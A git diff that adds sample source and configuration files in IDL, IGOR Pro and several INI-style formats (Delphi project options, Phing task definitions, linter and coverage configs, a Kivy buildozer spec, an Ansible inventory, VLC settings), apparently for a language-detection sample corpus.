+     IF N_PARAMS() GT 0 THEN self->Set,Struct,Type=Type,Version=Version,Data=Data,PAHdb=PAHdb,Uids=Uids,Model=Model,Units=Units,Shift=Shift,Grid=Grid,Profile=Profile,FWHM=FWHM $
+     ELSE self->Set,Type=Type,Version=Version,Data=Data,PAHdb=PAHdb,Uids=Uids,Model=Model,Units=Units,Shift=Shift,Grid=Grid,Profile=Profile,FWHM=FWHM
+  ENDIF
+
+  RETURN,self.state
+END
+
+;+
+; Defines the AmesPAHdbIDLSuite_Spectrum Class
+;
+; :Fields:
+;   shift: type=double
+;     Applied band shift
+;   grid: type=pointer
+;     Pointer to abscissa values
+;   profile: type=string
+;     Applied band profile
+;   fwhm: type=pointer
+;     Pointer to the FWHM of the applied band profile
+;
+; :Categories:
+;   CLASS
+;
+; :Private:
+;-
+PRO AmesPAHdbIDLSuite_Spectrum__DEFINE
+
+  COMPILE_OPT IDL2
+
+  ON_ERROR,2
+
+  void = {AmesPAHdbIDLSuite_Spectrum, $
+          INHERITS AmesPAHdbIDLSuite_Plot, $
+          INHERITS AmesPAHdbIDLSuite_Data, $
+          shift:0D, $
+          grid:PTR_NEW(), $
+          profile:'', $
+          fwhm:PTR_NEW()}
+END
+
+; END OF amespahdbidlsuite_spectrum__define.pro
diff --git a/samples/IGOR Pro/CodeBrowser.ipf b/samples/IGOR Pro/CodeBrowser.ipf
new file mode 100644
index 0000000000..d108f2c622
--- /dev/null
+++ b/samples/IGOR Pro/CodeBrowser.ipf	
@@ -0,0 +1,221 @@
+#pragma rtGlobals=3
+#pragma version=1.3
+#pragma IgorVersion = 6.3.0
+#pragma IndependentModule=CodeBrowserModule
+
+#include "CodeBrowser_gui"
+#include <Resize Controls>
+
+// Copyright (c) 2019, () byte physics support@byte-physics.de
+// All rights reserved.
+//
+// This source code is licensed under the BSD 3-Clause license found in the
+// LICENSE file in the root directory of this source tree.
+//
+// source: https://github.com/byte-physics/igor-code-browser/blob/6a1497795f606d9d837d4012cbb4bbc481af3683/procedures/CodeBrowser.ipf
+
+Menu "CodeBrowser"
+	// CTRL+0 is the keyboard shortcut
+	"Open/0", /Q, CodeBrowserModule#CreatePanel()
+	"Reset", /Q, CodeBrowserModule#ResetPanel()
+End
+
+// Markers for the different listbox elements
+StrConstant strConstantMarker = "\\W539"
+StrConstant constantMarker    = "\\W534"
+
+Function addDecoratedStructure(text, declWave, lineWave, [parseVariables])
+	WAVE/T text
+	WAVE/T declWave
+	WAVE/D lineWave
+	Variable parseVariables
+	if(paramIsDefault(parseVariables) | parseVariables != 1)
+		parseVariables = 1 // added for debugging
+	endif
+
+	variable numLines, idx, numEntries, numMatches
+	string procText, reStart, name, StaticKeyword
+
+	Wave/T helpWave = getHelpWave()
+
+	// regexp: match case insensitive (?i) leading spaces don't matter. optional static statement. search for structure name which contains no spaces. followed by an optional space and nearly anything like inline comments
+	// help for regex on https://regex101.com/
+	reStart = "^(?i)[[:space:]]*((?:static[[:space:]])?)[[:space:]]*structure[[:space:]]+([^[:space:]\/]+)[[:space:]\/]?.*"
+	Grep/Q/INDX/E=reStart text
+	Wave W_Index
+	Duplicate/FREE W_Index wavStructureStart
+	KillWaves/Z W_Index
+	KillStrings/Z S_fileName
+	WaveClear W_Index
+	if(!V_Value) // no matches
+		return 0
+	endif
+	numMatches = DimSize(wavStructureStart, 0)
+
+	// optionally analyze structure elements
+	if(parseVariables)
+		// regexp: match case insensitive endstructure followed by (space or /) and anything else or just a lineend
+		// does not match endstructure23 but endstructure//
+		Grep/Q/INDX/E="^(?i)[[:space:]]*(?:endstructure(?:[[:space:]]|\/).*)|endstructure$" text
+		Wave W_Index
+		Duplicate/FREE W_Index wavStructureEnd
+		KillWaves/Z W_Index
+		KillStrings/Z S_fileName
+		WaveClear W_Index
+		if(numMatches != DimSize(wavStructureEnd, 0))
+			numMatches = 0
+			return 0
+		endif
+	endif
+
+	numEntries = DimSize(declWave, 0)
+	Redimension/N=(numEntries + numMatches, -1) declWave, lineWave, helpWave
+
+	for(idx = numEntries; idx < (numEntries + numMatches); idx +=1)
+		SplitString/E=reStart text[wavStructureStart[(idx - numEntries)]], StaticKeyword, name
+		declWave[idx][0] = createMarkerForType(LowerStr(StaticKeyword) + "structure") // no " " between static and structure needed
+		declWave[idx][1] = name
+
+		// optionally parse structure elements
+		if(parseVariables)
+			Duplicate/FREE/R=[(wavStructureStart[(idx - numEntries)]),(wavStructureEnd[(idx - numEntries)])] text, temp
+			declWave[idx][1] += getStructureElements(temp)
+			WaveClear temp
+		endif
+
+		lineWave[idx] = wavStructureStart[(idx - numEntries)]
+	endfor
+
+	WaveClear wavStructureStart, wavStructureEnd
+End
+
+/// @brief Return the text of the given procedure as free wave splitted at the EOL
+static Function/WAVE getProcedureTextAsWave(module, procedureWithoutModule)
+	string module, procedureWithoutModule
+
+	string procText
+	variable numLines
+
+	// get procedure code
+	procText = getProcedureText("", 0, module, procedureWithoutModule)
+
+#if (IgorVersion() >= 7.0)
+	return ListToTextWave(procText, "\r")
+#else
+	numLines = ItemsInList(procText, "\r")
+
+	if(numLines == 0)
+		Make/FREE/N=(numLines)/T wv
+		return wv
+	endif
+
+	Make/FREE/N=(numLines)/T wv = StringFromList(p, procText, "\r")
+	return wv
+#endif
+End
+
+// add basic html
+Function/S AddHTML(context)
+	string context
+
+	string line, html, re
+	string str0, str1, str2, str3, str4
+	variable n, lines
+
+	html = ""
+	lines = ItemsInList(context, "\r")
+	for(n = 0; n < lines; n += 1)
+		line = StringFromList(n, context, "\r")
+		re = "\s*([\/]{2,})\s?(.*)"
+		SplitString/E=(re) line, str0, str1
+		if(V_flag != 2)
+			break
+		endif
+		line = str1
+		if(strlen(str0) == 3) // Doxygen comments
+			re = "(?i)(.*@param(?:\[(?:in|out)\])?\s+)(\w+)(\s.*)"
+			SplitString/E=(re) line, str0, str1, str2
+			if(V_flag == 3)
+				line  = str0
+				line += "<b>" + str1 + "</b> "
+				line += str2
+			endif
+			re = "(?i)(.*)@(\w+)(\s.*)"
+			SplitString/E=(re) line, str0, str1, str2
+			if(V_flag == 3)
+				line  = str0
+				line += "<b>@</b><i>" + str1 + "</i>"
+				line += str2
+			endif
+		endif
+		html += line + "<br>"
+	endfor
+	html = RemoveEnding(html, "<br>")
+	html = "<code>" + html + "</code>"
+
+	return html
+End
+
+// get code of procedure in module
+//
+// see `DisplayHelpTopic("ProcedureText")`
+//
+// @param funcName       Name of Function. Leave blank to get full procedure text
+// @param linesOfContext line numbers in addition to the function definition. Set to @c 0 to return only the function.
+//                       set to @c -1 to return lines before the procedure that are not part of the preceding macro or function
+// @param module         independent module
+// @param procedure      procedure without module definition
+// @return multi-line string with function definition
+Function/S getProcedureText(funcName, linesOfContext, module, procedure)
+	string funcName, module, procedure
+	variable linesOfContext
+
+	if(!isProcGlobal(module))
+		debugPrint(procedure + " is not in ProcGlobal")
+		procedure = procedure + " [" + module + "]"
+	endif
+
+	return ProcedureText(funcName, linesOfContext, procedure)
+End
+
+// Returns a list of independent modules
+// Includes ProcGlobal but skips all WM modules and the current module in release mode
+Function/S getModuleList()
+	String moduleList
+
+	moduleList = IndependentModuleList(";")
+	moduleList = ListMatch(moduleList, "!WM*", ";") // skip WM modules
+	moduleList = ListMatch(moduleList, "!RCP*", ";") // skip WM's Resize Controls modul
+	String module = GetIndependentModuleName()
+
+	moduleList = "ProcGlobal;" + SortList(moduleList)
+
+	return moduleList
+End
+
+// get help wave: after parsing the function comment is stored here
+//
+// Return refrence to (text) Wave/T
+Function/Wave getHelpWave()
+	DFREF dfr = createDFWithAllParents(pkgFolder)
+	WAVE/Z/T/SDFR=dfr wv = $helpWave
+
+	if(!WaveExists(wv))
+		Make/T/N=(128, 2) dfr:$helpWave/Wave=wv
+	endif
+
+	return wv
+End
+
+static Structure procedure
+	String id
+	Variable row
+	String name
+	String module
+	String fullName
+Endstructure
+
+/// @brief compile all procedures
+Function compile()
+	Execute/P/Z/Q "COMPILEPROCEDURES "
+End
diff --git a/samples/IGOR Pro/functions.ipf b/samples/IGOR Pro/functions.ipf
index a1c823638f..b00d481ec8 100644
--- a/samples/IGOR Pro/functions.ipf	
+++ b/samples/IGOR Pro/functions.ipf	
@@ -28,7 +28,7 @@ Function CallOperationsAndBuiltInFuncs(string var)
 
 	string someDQString = "abcd"
 
-	Make/N=(1,2,3,4) myWave
+	Make/N=(1,2,3,4) root:myWave/WAVE=myWave
 	Redimension/N=(-1,-1,-1,5) myWave
 
 	print strlen(someDQString)
diff --git a/samples/INI/TOVR.dof b/samples/INI/TOVR.dof
new file mode 100644
index 0000000000..d37db1f89a
--- /dev/null
+++ b/samples/INI/TOVR.dof
@@ -0,0 +1,136 @@
+[FileVersion]
+Version=7.0
+[Compiler]
+A=8
+B=0
+C=1
+D=1
+E=0
+F=0
+G=1
+H=1
+I=1
+J=0
+K=0
+L=1
+M=0
+N=1
+O=1
+P=1
+Q=0
+R=0
+S=0
+T=0
+U=0
+V=1
+W=0
+X=1
+Y=1
+Z=1
+ShowHints=1
+ShowWarnings=1
+UnitAliases=WinTypes=Windows;WinProcs=Windows;DbiTypes=BDE;DbiProcs=BDE;DbiErrs=BDE;
+NamespacePrefix=
+SymbolDeprecated=1
+SymbolLibrary=1
+SymbolPlatform=1
+UnitLibrary=1
+UnitPlatform=1
+UnitDeprecated=1
+HResultCompat=1
+HidingMember=1
+HiddenVirtual=1
+Garbage=1
+BoundsError=1
+ZeroNilCompat=1
+StringConstTruncated=1
+ForLoopVarVarPar=1
+TypedConstVarPar=1
+AsgToTypedConst=1
+CaseLabelRange=1
+ForVariable=1
+ConstructingAbstract=1
+ComparisonFalse=1
+ComparisonTrue=1
+ComparingSignedUnsigned=1
+CombiningSignedUnsigned=1
+UnsupportedConstruct=1
+FileOpen=1
+FileOpenUnitSrc=1
+BadGlobalSymbol=1
+DuplicateConstructorDestructor=1
+InvalidDirective=1
+PackageNoLink=1
+PackageThreadVar=1
+ImplicitImport=1
+HPPEMITIgnored=1
+NoRetVal=1
+UseBeforeDef=1
+ForLoopVarUndef=1
+UnitNameMismatch=1
+NoCFGFileFound=1
+MessageDirective=1
+ImplicitVariants=1
+UnicodeToLocale=1
+LocaleToUnicode=1
+ImagebaseMultiple=1
+SuspiciousTypecast=1
+PrivatePropAccessor=1
+UnsafeType=0
+UnsafeCode=0
+UnsafeCast=0
+[Linker]
+MapFile=0
+OutputObjs=0
+ConsoleApp=1
+DebugInfo=0
+RemoteSymbols=0
+MinStackSize=16384
+MaxStackSize=1048576
+ImageBase=4194304
+ExeDescription=
+[Directories]
+OutputDir=
+UnitOutputDir=
+PackageDLLOutputDir=
+PackageDCPOutputDir=
+SearchPath=
+Packages=
+Conditionals=
+DebugSourceDirs=
+UsePackages=0
+[Parameters]
+RunParams=
+HostApplication=
+Launcher=
+UseLauncher=0
+DebugCWD=
+[Language]
+ActiveLang=
+ProjectLang=
+RootDir=
+[Version Info]
+IncludeVerInfo=0
+AutoIncBuild=0
+MajorVer=1
+MinorVer=0
+Release=0
+Build=0
+Debug=0
+PreRelease=0
+Special=0
+Private=0
+DLL=0
+Locale=1049
+CodePage=1251
+[Version Info Keys]
+CompanyName=
+FileDescription=
+FileVersion=1.0.0.0
+InternalName=
+LegalCopyright=
+LegalTrademarks=
+OriginalFilename=
+ProductName=
+ProductVersion=1.0.0.0
+Comments=
diff --git a/samples/INI/defaults.properties b/samples/INI/defaults.properties
new file mode 100755
index 0000000000..cf8e73930c
--- /dev/null
+++ b/samples/INI/defaults.properties
@@ -0,0 +1,86 @@
+; -------------------------------------
+; These taskdefs are loaded at startup.
+; -------------------------------------
+
+; Internal system tasks
+; 
+adhoc=phing.tasks.system.AdhocTask
+adhoc-task=phing.tasks.system.AdhocTaskdefTask
+adhoc-type=phing.tasks.system.AdhocTypedefTask
+append=phing.tasks.system.AppendTask
+available=phing.tasks.system.AvailableTask
+chmod=phing.tasks.system.ChmodTask
+chown=phing.tasks.system.ChownTask
+concat=phing.tasks.system.AppendTask
+condition=phing.tasks.system.ConditionTask
+copy=phing.tasks.system.CopyTask
+cvs=phing.tasks.system.CvsTask
+cvspass=phing.tasks.system.CvsPassTask
+delete=phing.tasks.system.DeleteTask
+echo=phing.tasks.system.EchoTask
+exec=phing.tasks.system.ExecTask
+fail=phing.tasks.system.ExitTask
+foreach=phing.tasks.system.ForeachTask
+includepath=phing.tasks.system.IncludePathTask
+input=phing.tasks.system.InputTask
+mkdir=phing.tasks.system.MkdirTask
+move=phing.tasks.system.MoveTask
+phing=phing.tasks.system.PhingTask
+phingcall=phing.tasks.system.PhingCallTask
+php=phing.tasks.system.PhpEvalTask
+property=phing.tasks.system.PropertyTask
+propertyprompt=phing.tasks.system.PropertyPromptTask
+reflexive=phing.tasks.system.ReflexiveTask
+resolvepath=phing.tasks.system.ResolvePathTask
+taskdef=phing.tasks.system.TaskdefTask
+touch=phing.tasks.system.TouchTask
+tstamp=phing.tasks.system.TstampTask
+typedef=phing.tasks.system.TypedefTask
+uptodate=phing.tasks.system.UpToDateTask
+xslt=phing.tasks.system.XsltTask
+if=phing.tasks.system.IfTask
+warn=phing.tasks.system.WarnTask
+
+; "Core" contributed tasks
+; -- i.e. no taskdef needed.
+
+creole=phing.tasks.ext.creole.CreoleSQLExecTask
+pdo=phing.tasks.ext.pdo.PDOSQLExecTask
+package-as-path=phing.tasks.ext.PackageAsPathTask
+smarty=phing.tasks.ext.SmartyTask
+capsule=phing.tasks.ext.CapsuleTask
+tar=phing.tasks.ext.TarTask
+untar=phing.tasks.ext.UntarTask
+pearpkg=phing.tasks.ext.PearPackageTask
+pearpkg2=phing.tasks.ext.PearPackage2Task
+mail=phing.tasks.ext.MailTask
+zip=phing.tasks.ext.ZipTask
+unzip=phing.tasks.ext.UnzipTask
+scpsend=phing.tasks.ext.ScpSendTask
+
+; "ext" tasks
+phpdoc=phing.tasks.ext.phpdoc.PhpDocumentorTask
+phpdocext=phing.tasks.ext.phpdoc.PhpDocumentorExternalTask
+svnlastrevision=phing.tasks.ext.svn.SvnLastRevisionTask
+svncheckout=phing.tasks.ext.svn.SvnCheckoutTask
+svnexport=phing.tasks.ext.svn.SvnExportTask
+svnupdate=phing.tasks.ext.svn.SvnUpdateTask
+phpunit3=phing.tasks.ext.phpunit.PHPUnitTask
+phpunit3report=phing.tasks.ext.phpunit.PHPUnitReportTask
+phpunit2=phing.tasks.ext.phpunit.PHPUnitTask
+phpunit2report=phing.tasks.ext.phpunit.PHPUnitReportTask
+phpunit=phing.tasks.ext.phpunit.PHPUnitTask
+phpunitreport=phing.tasks.ext.phpunit.PHPUnitReportTask
+coverage-setup=phing.tasks.ext.coverage.CoverageSetupTask
+coverage-merger=phing.tasks.ext.coverage.CoverageMergerTask
+coverage-report=phing.tasks.ext.coverage.CoverageReportTask
+ioncubeencoder=phing.tasks.ext.ioncube.IoncubeEncoderTask
+ioncubelicense=phing.tasks.ext.ioncube.IoncubeLicenseTask
+simpletest=phing.tasks.ext.simpletest.SimpleTestTask
+phplint=phing.tasks.ext.PhpLintTask
+xmllint=phing.tasks.ext.XmlLintTask
+analyze=phing.tasks.ext.ZendCodeAnalyzerTask
+jsllint=phing.tasks.ext.JslLintTask
+manifest=phing.tasks.ext.ManifestTask
+phpcodesniffer=phing.tasks.ext.PhpCodeSnifferTask
+ftpdeploy=phing.tasks.ext.FtpDeployTask
\ No newline at end of file
diff --git a/samples/INI/filenames/.coveragerc b/samples/INI/filenames/.coveragerc
new file mode 100644
index 0000000000..c170c80db7
--- /dev/null
+++ b/samples/INI/filenames/.coveragerc
@@ -0,0 +1,30 @@
+[run]
+branch = True
+dynamic_context = test_function
+
+source =
+    warehouse
+
+omit =
+    # We don't want to get coverage information for our migrations.
+    warehouse/migrations/*
+
+    # We don't want to actually cover our __main__.py file because it is hard
+    # to cover and it really just acts as a tiny shim to a function.
+    warehouse/__main__.py
+
+    # Again, tiny shim code that we don't actually need to test and trying to
+    # do so would just get in the way.
+    warehouse/wsgi.py
+
+    # And again, tiny shim code.
+    warehouse/celery.py
+
+
+[report]
+exclude_lines =
+    pragma: no cover
+    class \w+\(Interface\):
+
+# Don't show us anything that's already 100% covered.
+skip_covered = True
diff --git a/samples/INI/filenames/.flake8 b/samples/INI/filenames/.flake8
new file mode 100644
index 0000000000..89e2f4c48c
--- /dev/null
+++ b/samples/INI/filenames/.flake8
@@ -0,0 +1,38 @@
+[flake8]
+min_python_version = 3.6.0
+max-line-length = 88
+ban-relative-imports = true
+# flake8-use-fstring: https://github.com/MichaelKim0407/flake8-use-fstring#--percent-greedy-and---format-greedy
+format-greedy = 1
+inline-quotes = double
+# Allow omission of a return type hint for __init__ if at least one argument is annotated
+# used by flake8-annotations
+mypy-init-return = true
+enable-extensions = TC, TC2
+type-checking-exempt-modules = typing, typing-extensions
+eradicate-whitelist-extend = ^-.*;
+extend-ignore =
+    # E501: Line too long (FIXME: long string constants)
+    E501,
+    # E203: Whitespace before ':' (pycqa/pycodestyle#373)
+    E203,
+    # SIM106: Handle error-cases first
+    SIM106,
+    # ANN101: Missing type annotation for self in method
+    ANN101,
+    # ANN102: Missing type annotation for cls in classmethod
+    ANN102,
+per-file-ignores =
+    # F401: Module imported by unused (non-implicit modules)
+    # TC002: Move third-party import '...' into a type-checking block
+    __init__.py:F401,TC002,
+    # ANN201: Missing return type annotation for public function
+    tests/test_*:ANN201
+    tests/**/test_*:ANN201
+extend-exclude =
+    # Frozen and not subject to change in this repo:
+    get-poetry.py,
+    install-poetry.py,
+    # External to the project's coding standards:
+    tests/fixtures/*,
+    tests/**/fixtures/*,
\ No newline at end of file
diff --git a/samples/INI/filenames/.gitconfig b/samples/INI/filenames/.gitconfig
deleted file mode 100644
index c583979883..0000000000
--- a/samples/INI/filenames/.gitconfig
+++ /dev/null
@@ -1,3 +0,0 @@
-[user]
-  name = Josh Peek
-  email = josh@github.com
diff --git a/samples/INI/filenames/.pylintrc b/samples/INI/filenames/.pylintrc
new file mode 100644
index 0000000000..29162a2e2e
--- /dev/null
+++ b/samples/INI/filenames/.pylintrc
@@ -0,0 +1,21 @@
+[BASIC]
+
+# Allow tests and private functions without docstrings
+no-docstring-rgx=(test_.*|_.*)
+
+[FORMAT]
+
+# Maximum number of characters on a single line.
+max-line-length=80
+
+# String used as indentation unit. We differ from PEP8's normal 4 spaces.
+indent-string='  '
+
+# Allow long lines which are just a string
+ignore-long-lines = ^\s*\"[^\"]+\",?$
+
+
+[MESSAGES CONTROL]
+
+# The order must be different internally vs externally
+disable=wrong-import-order
diff --git a/samples/INI/filenames/buildozer.spec b/samples/INI/filenames/buildozer.spec
new file mode 100644
index 0000000000..73a2b5ab53
--- /dev/null
+++ b/samples/INI/filenames/buildozer.spec
@@ -0,0 +1,227 @@
+[app]
+
+# (str) Title of your application
+title = Kivy Kazam
+
+# (str) Package name
+package.name = kivykazam
+
+# (str) Package domain (needed for android/ios packaging)
+package.domain = org.test
+
+# (str) Source code where the main.py live
+source.dir = .
+
+# (list) Source files to include (let empty to include all the files)
+source.include_exts = py,png,jpg,kv,atlas
+
+# (list) List of inclusions using pattern matching
+#source.include_patterns = assets/*,images/*.png
+
+# (list) Source files to exclude (let empty to not exclude anything)
+#source.exclude_exts = spec
+
+# (list) List of directory to exclude (let empty to not exclude anything)
+#source.exclude_dirs = tests, bin
+
+# (list) List of exclusions using pattern matching
+#source.exclude_patterns = license,images/*/*.jpg
+
+# (str) Application versioning (method 1)
+version = 0.1
+
+# (str) Application versioning (method 2)
+# version.regex = __version__ = ['"](.*)['"]
+# version.filename = %(source.dir)s/main.py
+
+# (list) Application requirements
+# comma seperated e.g. requirements = sqlite3,kivy
+requirements = kivy
+
+# (str) Custom source folders for requirements
+# Sets custom source for any requirements with recipes
+# requirements.source.kivy = ../../kivy
+
+# (list) Garden requirements
+#garden_requirements =
+
+# (str) Presplash of the application
+#presplash.filename = %(source.dir)s/data/presplash.png
+
+# (str) Icon of the application
+#icon.filename = %(source.dir)s/data/icon.png
+
+# (str) Supported orientation (one of landscape, portrait or all)
+orientation = all
+
+# (list) List of service to declare
+#services = NAME:ENTRYPOINT_TO_PY,NAME2:ENTRYPOINT2_TO_PY
+
+#
+# OSX Specific
+#
+
+#
+# author = © Copyright Info
+
+#
+# Android specific
+#
+
+# (bool) Indicate if the application should be fullscreen or not
+fullscreen = 1
+
+# (list) Permissions
+#android.permissions = INTERNET
+
+# (int) Android API to use
+#android.api = 19
+
+# (int) Minimum API required
+android.minapi = 13
+
+# (int) Android SDK version to use
+#android.sdk = 20
+
+# (str) Android NDK version to use
+#android.ndk = 9c
+
+# (bool) Use --private data storage (True) or --dir public storage (False)
+#android.private_storage = True
+
+# (str) Android NDK directory (if empty, it will be automatically downloaded.)
+#android.ndk_path =
+
+# (str) Android SDK directory (if empty, it will be automatically downloaded.)
+#android.sdk_path =
+
+# (str) ANT directory (if empty, it will be automatically downloaded.)
+#android.ant_path =
+
+# (str) python-for-android git clone directory (if empty, it will be automatically cloned from github)
+#android.p4a_dir =
+
+# (list) python-for-android whitelist
+#android.p4a_whitelist =
+
+# (bool) If True, then skip trying to update the Android sdk
+# This can be useful to avoid excess Internet downloads or save time
+# when an update is due and you just want to test/build your package
+# android.skip_update = False
+
+# (str) Android entry point, default is ok for Kivy-based app
+#android.entrypoint = org.renpy.android.PythonActivity
+
+# (list) List of Java .jar files to add to the libs so that pyjnius can access
+# their classes. Don't add jars that you do not need, since extra jars can slow
+# down the build process. Allows wildcards matching, for example:
+# OUYA-ODK/libs/*.jar
+#android.add_jars = foo.jar,bar.jar,path/to/more/*.jar
+
+# (list) List of Java files to add to the android project (can be java or a
+# directory containing the files)
+#android.add_src =
+
+# (str) python-for-android branch to use, if not master, useful to try
+# not yet merged features.
+#android.branch = master
+
+# (str) OUYA Console category. Should be one of GAME or APP
+# If you leave this blank, OUYA support will not be enabled
+#android.ouya.category = GAME
+
+# (str) Filename of OUYA Console icon. It must be a 732x412 png image.
+#android.ouya.icon.filename = %(source.dir)s/data/ouya_icon.png
+
+# (str) XML file to include as an intent filters in <activity> tag
+#android.manifest.intent_filters =
+
+# (list) Android additionnal libraries to copy into libs/armeabi
+#android.add_libs_armeabi = libs/android/*.so
+#android.add_libs_armeabi_v7a = libs/android-v7/*.so
+#android.add_libs_x86 = libs/android-x86/*.so
+#android.add_libs_mips = libs/android-mips/*.so
+
+# (bool) Indicate whether the screen should stay on
+# Don't forget to add the WAKE_LOCK permission if you set this to True
+#android.wakelock = False
+
+# (list) Android application meta-data to set (key=value format)
+#android.meta_data =
+
+# (list) Android library project to add (will be added in the
+# project.properties automatically.)
+#android.library_references =
+
+# (str) Android logcat filters to use
+#android.logcat_filters = *:S python:D
+
+# (bool) Copy library instead of making a libpymodules.so
+#android.copy_libs = 1
+
+#
+# iOS specific
+#
+
+# (str) Path to a custom kivy-ios folder
+#ios.kivy_ios_dir = ../kivy-ios
+
+# (str) Name of the certificate to use for signing the debug version
+# Get a list of available identities: buildozer ios list_identities
+#ios.codesign.debug = "iPhone Developer: <lastname> <firstname> (<hexstring>)"
+
+# (str) Name of the certificate to use for signing the release version
+#ios.codesign.release = %(ios.codesign.debug)s
+
+
+[buildozer]
+
+# (int) Log level (0 = error only, 1 = info, 2 = debug (with command output))
+log_level = 1
+
+# (int) Display warning if buildozer is run as root (0 = False, 1 = True)
+warn_on_root = 1
+
+# (str) Path to build artifact storage, absolute or relative to spec file
+# build_dir = ./.buildozer
+
+# (str) Path to build output (i.e. .apk, .ipa) storage
+# bin_dir = ./bin
+
+#    -----------------------------------------------------------------------------
+#    List as sections
+#
+#    You can define all the "list" as [section:key].
+#    Each line will be considered as a option to the list.
+#    Let's take [app] / source.exclude_patterns.
+#    Instead of doing:
+#
+#[app]
+#source.exclude_patterns = license,data/audio/*.wav,data/images/original/*
+#
+#    This can be translated into:
+#
+#[app:source.exclude_patterns]
+#license
+#data/audio/*.wav
+#data/images/original/*
+#
+
+
+#    -----------------------------------------------------------------------------
+#    Profiles
+#
+#    You can extend section / key with a profile
+#    For example, you want to deploy a demo version of your application without
+#    HD content. You could first change the title to add "(demo)" in the name
+#    and extend the excluded directories to remove the HD content.
+#
+#[app@demo]
+#title = My Application (demo)
+#
+#[app:source.exclude_patterns@demo]
+#images/hd/*
+#
+#    Then, invoke the command line with the "demo" profile:
+#
+#buildozer --profile demo android debug
diff --git a/samples/INI/filenames/hosts b/samples/INI/filenames/hosts
new file mode 100644
index 0000000000..b08cb84337
--- /dev/null
+++ b/samples/INI/filenames/hosts
@@ -0,0 +1,13 @@
+[dev]
+dev-rhel8-55 ansible_host=192.168.100.4 
+
+[nodes]
+node1 ansible_host=192.168.56.25
+
+[nodes:vars] 
+ansible_ssh_private_key_file=/home/ansible/.ssh/id_rsa  
+ansible_user=devops 
+
+[dev:vars]
+ansible_ssh_private_key_file=/home/ansible/.ssh/id_rsa 
+ansible_user=devops
diff --git a/samples/INI/filenames/pylintrc b/samples/INI/filenames/pylintrc
new file mode 100644
index 0000000000..f5810628fe
--- /dev/null
+++ b/samples/INI/filenames/pylintrc
@@ -0,0 +1,79 @@
+# The format of this file isn't really documented; just use --generate-rcfile
+
+[Messages Control]
+# C0111: Don't require docstrings on every method
+# C0301: Handled by pep8
+# C0325: Parens are required on print in py3x
+# F0401: Imports are check by other linters
+# W0511: TODOs in code comments are fine.
+# W0142: *args and **kwargs are fine.
+# W0622: Redefining id is fine.
+
+# TODO(browne): fix these in the future
+# C0103: invalid-name
+# C0201: consider-iterating-dictionary
+# C1801: len-as-condition
+# E1101: no-member
+# E1111: assignment-from-no-return
+# R0902: too-many-instance-attributes
+# R0912: too-many-branches
+# R0913: too-many-arguments
+# R0914: too-many-locals
+# R0915: too-many-statements
+# R1702: too-many-nested-blocks
+# R1705: no-else-return
+# R1710: inconsistent-return-statements
+# W0110: deprecated-lambda
+# W0141: bad-builtin
+# W0201: attribute-defined-outside-init
+# W0212: protected-access
+# W0401: wildcard-import
+# W0603: global-statement
+# W0613: unused-argument
+# W0621: redefined-outer-name
+# W0703: broad-except
+# W1201: logging-not-lazy
+# W1505: deprecated-method
+disable=C0111,C0201,C0301,C0325,C1801,F0401,W0511,W0142,W0622,C0103,E1101,E1111,R0902,R0912,R0913,R0914,R0915,R1702,R1705,R1710,W0110,W0141,W0201,W0401,W0603,W0212,W0613,W0621,W0703,W1201,W1505
+
+[Basic]
+# Variable names can be 1 to 31 characters long, with lowercase and underscores
+variable-rgx=[a-z_][a-z0-9_]{0,30}$
+
+# Argument names can be 2 to 31 characters long, with lowercase and underscores
+argument-rgx=[a-z_][a-z0-9_]{1,30}$
+
+# Method names should be at least 3 characters long
+# and be lowecased with underscores
+method-rgx=([a-z_][a-z0-9_]{2,50}|setUp|tearDown)$
+
+# Module names matching manila-* are ok (files in bin/)
+module-rgx=(([a-z_][a-z0-9_]*)|([A-Z][a-zA-Z0-9]+)|(manila-[a-z0-9_-]+))$
+
+# Don't require docstrings on tests.
+no-docstring-rgx=((__.*__)|([tT]est.*)|setUp|tearDown)$
+
+[Design]
+max-public-methods=100
+min-public-methods=0
+max-args=6
+
+[Variables]
+
+# List of additional names supposed to be defined in builtins. Remember that
+# you should avoid to define new builtins when possible.
+# _ is used by our localization
+additional-builtins=_
+
+[Similarities]
+# Minimum lines number of a similarity.
+min-similarity-lines=10
+
+# Ignore comments when computing similarities.
+ignore-comments=yes
+
+# Ignore docstrings when computing similarities.
+ignore-docstrings=yes
+
+# Ignore imports when computing similarities.
+ignore-imports=yes
diff --git a/samples/INI/filenames/vlcrc b/samples/INI/filenames/vlcrc
new file mode 100644
index 0000000000..034fcaa97a
--- /dev/null
+++ b/samples/INI/filenames/vlcrc
@@ -0,0 +1,457 @@
+# VLC 3.0.18 configuration
+
+[macosx]
+
+# Enable dark mode
+macosx-interfacestyle=0
+
+# Native full-screen mode
+macosx-nativefullscreenmode=0
+
+# Hide VLC icon in status-bar
+macosx-statusicon=0
+
+# Prevent automatic icon changes
+macosx-icon-change=0
+
+# Hide buttons for rarely-used functions
+macosx-show-playback-buttons=0
+macosx-show-playmode-buttons=0
+macosx-show-effects-button=0
+
+# Maximum volume displayed
+macosx-max-volume=125
+
+# Enlargen list-view text
+macosx-large-text=0
+
+# Play files immediately after opening
+macosx-autoplay=1
+
+# Don't retain list of recently-played media
+macosx-recentitems=0
+
+# Show full-screen controller
+macosx-fspanel=1
+
+# Resize window to video's intrinsic size
+macosx-video-autoresize=1
+
+# Pause video playback when minimising window
+macosx-pause-minimized=1
+
+# Lock aspect ratio
+macosx-lock-aspect-ratio=1
+
+# Dim keyboard backlight during full-screen playback
+macosx-dim-keyboard=1
+
+# Leave other media players alone
+macosx-control-itunes=0
+
+# Continue playback from last session
+macosx-continue-playback=2
+
+# Deny access to Apple Remote devices
+macosx-appleremote=0
+macosx-appleremote-prevnext=0
+macosx-appleremote-sysvol=0
+
+# Allow standard media keys to control playback
+macosx-mediakeys=1
+
+
+[core]
+
+# Show advanced options
+advanced=1
+
+# Show files whose names begin with "."
+show-hiddenfiles=1
+
+# Default subtitle language
+sub-language=English
+
+# Disable telemetry
+stats=0
+
+# Toggle full-screen
+global-key-toggle-fullscreen=
+key-toggle-fullscreen=Command+f
+
+# Exit full-screen
+global-key-leave-fullscreen=
+key-leave-fullscreen=Esc
+
+# Play/pause
+global-key-play-pause=
+key-play-pause=Space
+
+# Pause
+global-key-pause=
+key-pause=
+
+# Play
+global-key-play=
+key-play=
+
+# Adjust playback speed
+global-key-faster=
+global-key-slower=
+global-key-rate-faster-fine=
+global-key-rate-slower-fine=
+key-faster=Command+=
+key-slower=Command+-
+key-rate-faster-fine=
+key-rate-slower-fine=
+
+# Reset playback speed
+global-key-rate-normal=
+key-rate-normal=
+
